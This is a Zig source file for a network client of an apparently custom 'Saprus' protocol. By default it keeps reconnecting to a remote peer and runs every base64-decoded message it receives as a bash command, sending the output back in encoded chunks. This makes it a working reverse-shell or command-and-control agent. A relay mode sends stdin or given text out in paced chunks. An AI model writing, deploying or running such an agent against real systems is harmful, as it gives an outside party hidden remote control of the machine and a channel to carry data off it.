path: root/src/main.zig

const is_debug = builtin.mode == .Debug;

const help =
    \\-h, --help           Display this help and exit.
    \\-r, --relay <str>    A relay message to send.
    \\-d, --dest <str>     An IPv4 or <= 4 ASCII byte string.
    \\-c, --connect <str>  A connection message to send.
    \\
;

const Option = enum { help, relay, dest, connect };
const to_option: StaticStringMap(Option) = .initComptime(.{
    .{ "-h", .help },
    .{ "--help", .help },
    .{ "-r", .relay },
    .{ "--relay", .relay },
    .{ "-d", .dest },
    .{ "--dest", .dest },
    .{ "-c", .connect },
    .{ "--connect", .connect },
});

pub fn main(init: std.process.Init) !void {
    // CLI parsing adapted from the example here
    // https://codeberg.org/ziglang/zig/pulls/30644

    const args = try init.minimal.args.toSlice(init.arena.allocator());

    var flags: struct {
        relay: ?[]const u8 = null,
        dest: ?[]const u8 = null,
        connect: ?[]const u8 = null,
    } = .{};

    if (args.len == 1) {
        flags.connect = "";
    } else {
        var i: usize = 1;
        while (i < args.len) : (i += 1) {
            if (to_option.get(args[i])) |opt| {
                switch (opt) {
                    .help => {
                        std.debug.print("{s}", .{help});
                        return;
                    },
                    .relay => {
                        i += 1;
                        if (i < args.len) {
                            flags.relay = args[i];
                        } else {
                            flags.relay = "";
                        }
                    },
                    .dest => {
                        i += 1;
                        if (i < args.len) {
                            flags.dest = args[i];
                        } else {
                            std.debug.print("-d/--dest requires a string\n", .{});
                            return error.InvalidArguments;
                        }
                    },
                    .connect => {
                        i += 1;
                        if (i < args.len) {
                            flags.connect = args[i];
                        } else {
                            flags.connect = "";
                        }
                    },
                }
            } else {
                std.debug.print("Unknown argument: {s}\n", .{args[i]});
                return error.InvalidArguments;
            }
        }
    }

    if (flags.connect != null and (flags.relay != null or flags.dest != null)) {
        std.debug.print("Incompatible arguments.\nCannot use --connect/-c with dest or relay.\n", .{});
        return error.InvalidArguments;
    }

    var client: SaprusClient = undefined;

    if (flags.relay != null) {
        client = try .init();
        defer client.deinit();
        var chunk_writer_buf: [2048]u8 = undefined;
        var chunk_writer: Writer = .fixed(&chunk_writer_buf);
        if (flags.relay.?.len > 0) {
            var output_iter = std.mem.window(u8, flags.relay.?, SaprusClient.max_payload_len, SaprusClient.max_payload_len);
            while (output_iter.next()) |chunk| {
                chunk_writer.end = 0;
                try chunk_writer.print("{b64}", .{chunk});
                try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest));
                try init.io.sleep(.fromMilliseconds(40), .boot);
            }
        } else {
            var stdin_file: std.Io.File = .stdin();
            var stdin_file_reader = stdin_file.reader(init.io, &.{});
            var stdin_reader = &stdin_file_reader.interface;
            var lim_buf: [SaprusClient.max_payload_len]u8 = undefined;
            var limited = stdin_reader.limited(.limited(10 * lim_buf.len), &lim_buf);
            var stdin = &limited.interface;

            while (stdin.fillMore()) {
                // Sometimes fillMore will return 0 bytes.
                // Skip these
                if (stdin.seek == stdin.end) continue;

                chunk_writer.end = 0;
                try chunk_writer.print("{b64}", .{stdin.buffered()});
                try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest));
                try init.io.sleep(.fromMilliseconds(40), .boot);
                try stdin.discardAll(stdin.end);
            } else |err| switch (err) {
                error.EndOfStream => {
                    log.debug("end of stdin", .{});
                },
                else => |e| return e,
            }
        }
        return;
    }

    var con_buf: [SaprusClient.max_payload_len * 2]u8 = undefined;
    var w: Writer = .fixed(&con_buf);
    try w.print("{b64}", .{flags.connect.?});

    if (flags.connect != null) {
        reconnect: while (true) {
            client = try .init();
            defer client.deinit();
            log.debug("Starting connection", .{});

            try client.socket.setTimeout(if (is_debug) 3 else 25, 0);
            var connection = client.connect(init.io, w.buffered()) catch {
                log.debug("Connection timed out", .{});
                continue;
            };

            log.debug("Connection started", .{});

            var connection_writer: ConnectionWriter = .init(init.io, &connection, &con_buf);

            next_message: while (true) {
                var res_buf: [2048]u8 = undefined;
                try client.socket.setTimeout(if (is_debug) 60 else 600, 0);
                const next = connection.next(init.io, &res_buf) catch {
                    continue :reconnect;
                };

                const b64d = std.base64.standard.Decoder;
                var connection_payload_buf: [2048]u8 = undefined;
                const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(next)];
                b64d.decode(connection_payload, next) catch {
                    log.debug("Failed to decode message, skipping: '{s}'", .{connection_payload});
                    continue;
                };

                var child = std.process.spawn(init.io, .{
                    .argv = &.{ "bash", "-c", connection_payload },
                    .stdout = .pipe,
                }) catch continue;

                var child_output_buf: [SaprusClient.max_payload_len]u8 = undefined;
                var child_output_reader = child.stdout.?.reader(init.io, &child_output_buf);

                _ = child_output_reader.interface.stream(&connection_writer.interface, .limited(SaprusClient.max_payload_len * 10)) catch continue :next_message;
            }
        }
    }

    unreachable;
}

const ConnectionWriter = struct {
    connection: *zaprus.Connection,
    io: std.Io,
    interface: Writer,
    err: ?anyerror,

    pub fn init(io: std.Io, connection: *zaprus.Connection, buf: []u8) ConnectionWriter {
        return .{
            .connection = connection,
            .io = io,
            .interface = .{
                .vtable = &.{
                    .drain = drain,
                },
                .buffer = buf,
            },
            .err = null,
        };
    }

    pub fn drain(io_w: *Writer, data: []const []const u8, splat: usize) Writer.Error!usize {
        _ = splat;
        const self: *ConnectionWriter = @alignCast(@fieldParentPtr("interface", io_w));
        var res: usize = 0;

        // Get buffered data from the writer
        const buffered = io_w.buffered();
        var buf_offset: usize = 0;

        // Process buffered data in chunks
        while (buf_offset < buffered.len) {
            const chunk_size = @min(SaprusClient.max_payload_len, buffered.len - buf_offset);
            const chunk = buffered[buf_offset..][0..chunk_size];

            // Base64 encode the chunk
            var encoded_buf: [SaprusClient.max_payload_len * 2]u8 = undefined;
            const encoded_len = std.base64.standard.Encoder.calcSize(chunk.len);
            const encoded = std.base64.standard.Encoder.encode(&encoded_buf, chunk);

            // Send encoded chunk
            self.connection.send(self.io, encoded[0..encoded_len]) catch |err| {
                self.err = err;
                return error.WriteFailed;
            };
            self.io.sleep(.fromMilliseconds(40), .boot) catch @panic("honk shoo");

            buf_offset += chunk_size;
            res += chunk_size;
        }

        // Process data slices
        for (data) |slice| {
            var slice_offset: usize = 0;

            while (slice_offset < slice.len) {
                const chunk_size = @min(SaprusClient.max_payload_len, slice.len - slice_offset);
                const chunk = slice[slice_offset..][0..chunk_size];

                // Base64 encode the chunk
                var encoded_buf: [SaprusClient.max_payload_len * 2]u8 = undefined;
                const encoded_len = std.base64.standard.Encoder.calcSize(chunk.len);
                const encoded = std.base64.standard.Encoder.encode(&encoded_buf, chunk);

                // Send encoded chunk
                self.connection.send(self.io, encoded[0..encoded_len]) catch |err| {
                    self.err = err;
                    return error.WriteFailed;
                };
                self.io.sleep(.fromMilliseconds(40), .boot) catch @panic("honk shoo");

                slice_offset += chunk_size;
                res += chunk_size;
            }
        }

        return res;
    }
};

// const ConnectionWriter = struct {
//     connection: *zaprus.Connection,
//     io: std.Io,
//     interface: Writer,
//     err: ?anyerror,

//     pub fn init(io: std.Io, connection: *zaprus.Connection) ConnectionWriter {
//         return .{
//             .connection = connection,
//             .io = io,
//             .interface = .{},
//         };
//     }

//     pub fn drain(io_w: *Writer, data: []const []const u8, splat: usize) Writer.Error!usize {
//         var res: usize = 0;
//         const w: *ConnectionWriter = @alignCast(@fieldParentPtr("interface", io_w));
//         var buffered_reader: std.Io.Reader = .fixed(io_w.buffered());
//         const io = w.io;

//         // Collect the output in chunks
//         var output_buf: [SaprusClient.max_payload_len * 2]u8 = undefined;
//         var output_writer: Writer = .fixed(&output_buf);
//         while (buffered_reader.end - buffered_reader.seek > SaprusClient.max_payload_len) {
//             output_writer.end = 0;
//             output_writer.print("{b64}", .{&buffered_reader.takeArray(SaprusClient.max_payload_len)});
//             self.connection.send(io, output_writer.buffered()) catch |err| {
//                 self.err = err;
//                 return error.WriteFailed;
//             };
//             res += SaprusClient.max_payload_len;
//         }
//         // accumulate the remainder of buffered and the data slices before writing b64 to the output_writer
//         var output_acc_buf: [SaprusClient.max_payload_len]u8 = undefined;
//         var output_acc_w: Writer = .fixed(&output_acc_buf);

//         // We can write the rest of buffered_reader to the output_writer because we know after
//         // the previous loop the maximum length of the remaining data is SaprusClient.max_payload_len.
//         output_writer.end = 0;
//         res += output_acc_w.write(buffered_reader.buffered()) catch unreachable;

//         for (data[0 .. data.len - 1]) |chunk| {
//             if (chunk.len < SaprusClient.max_payload_len - output_acc_w.end) {
//                 res += output_acc_w.write(chunk) catch unreachable;
//                 continue;
//             }
//             var chunk_reader: std.Io.Reader = .fixed(chunk);
//             while (chunk_reader.end - chunk_reader.seek > 0) {
//                 res += chunk_reader.stream(
//                     &output_acc_w,
//                     .limited(SaprusClient.max_payload_len - output_acc_w.end),
//                 ) catch unreachable;
//                 if (SaprusClient.max_payload_len - output_acc_w.end == 0) {
//                     output_writer.print("{b64}", .{output_acc_w.buffered()});
//                     output_acc_w.end = 0;
//                     self.connection.send(io, output_writer.buffered()) catch |err| {
//                         self.err = err;
//                         return error.WriteFailed;
//                     };
//                     output_writer.end = 0;
//                 }
//             }
//         }

//         return res;
//     }
// };

fn parseDest(in: ?[]const u8) [4]u8 {
    if (in) |dest| {
        if (dest.len <= 4) {
            var res: [4]u8 = @splat(0);
            @memcpy(res[0..dest.len], dest);
            return res;
        }

        const addr = std.Io.net.Ip4Address.parse(dest, 0) catch return "FAIL".*;
        return addr.bytes;
    }
    return "disc".*;
}

const builtin = @import("builtin");
const std = @import("std");
const log = std.log;
const ArrayList = std.ArrayList;
const StaticStringMap = std.StaticStringMap;

const zaprus = @import("zaprus");
const SaprusClient = zaprus.Client;
const SaprusMessage = zaprus.Message;

const Writer = std.Io.Writer;